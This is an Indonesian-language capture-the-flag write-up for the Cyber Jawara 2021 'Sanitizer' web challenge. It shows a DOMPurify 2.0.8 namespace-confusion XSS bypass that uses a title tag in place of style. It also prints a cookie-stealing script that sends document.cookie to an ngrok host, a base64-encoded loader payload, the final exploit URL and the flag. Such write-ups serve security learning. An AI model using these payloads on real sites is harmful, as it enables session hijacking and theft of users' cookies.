[Cyber Jawara 2021] Sanitizer

ctf, web

Diberikan soal dan dua buah website dengan deskripsi seperti berikut

Soal

Website Pertama #

Source Code Website1

Website Kedua #

Source Code Website2

Dapat kita lihat pada website kedua, terdapat hint yaitu Prove it. Steal admin's cookie if you can. Bagaimana cara melakukannya?
Salah satu cara melakukan Cookie Stealing adalah dengan XSS (Cross Site Scripting)

Tetapi, pada website kedua tidak sembarangan Url dapat diinput, jika diluar dari Url http://sanitizer-cj2021.mooo.com:13005/ maka akan mengembalikan error Url is not valid!

Jadi satu-satunya cara dengan mencari bug XSS pada website pertama ataupun website kedua.

Pada website pertama, dapat kita lihat terdapat potongan code seperti pada gambar di bawah ini

Potongan Code

Pada potongan code diatas, kita dapat mengisi nama pada Sertifikat Sanitasi dengan nama yang kita inputkan pada URL dengan format base64

Contoh:

nama = "ryo ganteng"
base64_nama = "cnlvIGdhbnRlbmc="

url = "http://sanitizer-cj2021.mooo.com:13005/#cnlvIGdhbnRlbmc="

Nama

Pada potongan code line 70, input akan di sanitize menggunakan library DOMPurify versi 2.0.8

DOMPurify

Setelah dilakukan searching, DOMPurify < 2.2.2 terdapat XSS via name space confusion dengan payload berikut.

<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">

Tetapi jika kita lihat kembali 59, tag style juga termasuk dalam “FORBIDDEN TAGS” yang akan disanitasi pada input, sehingga payload diatas tidak akan berfungsi. Lalu bagaimana caranya??

Kita dapat mengganti tag style menggunakan tag title.
Saya tidak tau persis kenapa tag title ini dapat menggantikan tag style tersebut, tetapi pada saat perlombaan saya mencari alternatif tag style yang mempunyai karakteristik yang mirip dengan tag style, yaitu memperlakukan text yang di dalam tag sebagai plaintext. Entah itu benar adanya atau tidak, tapi alert berhasil ditrigger menggunakan title

Payload

<form><math><mtext></form><form><mglyph><svg><mtext><title><path id="</title><img onerror=alert(1) src>">

Trigger

Setelah itu tinggal craft payload Cookie Stealer + Ngrok untuk mendapatkan flag

a.js

document.location.replace("https://f6dd-36-88-139-226.ngrok.io/?c=" + document.cookie);

Payload

<form><math><mtext></form><form><mglyph><svg><mtext><title><path id="</title><img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZjZkZC0zNi04OC0xMzktMjI2Lm5ncm9rLmlvL2EuanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id)) src>">

Base64 Decoded id

var a=document.createElement("script");a.src="https://f6dd-36-88-139-226.ngrok.io/a.js";document.body.appendChild(a);

Final Payload

http://sanitizer-cj2021.mooo.com:13005/#PGZvcm0+PG1hdGg+PG10ZXh0PjwvZm9ybT48Zm9ybT48bWdseXBoPjxzdmc+PG10ZXh0Pjx0aXRsZT48cGF0aCBpZD0iPC90aXRsZT48aW1nIGlkPWRtRnlJR0U5Wkc5amRXMWxiblF1WTNKbFlYUmxSV3hsYldWdWRDZ2ljMk55YVhCMElpazdZUzV6Y21NOUltaDBkSEJ6T2k4dlpqWmtaQzB6TmkwNE9DMHhNemt0TWpJMkxtNW5jbTlyTG1sdkwyRXVhbk1pTzJSdlkzVnRaVzUwTG1KdlpIa3VZWEJ3Wlc1a1EyaHBiR1FvWVNrNyBvbmVycm9yPWV2YWwoYXRvYih0aGlzLmlkKSkgc3JjPiI+

Submit Url diatas ke website kedua, dan flag akan tercurry

Ngrok

Flag

CJ2021{cuci_tangan_dulu_sebelum_lanjut_733532EA}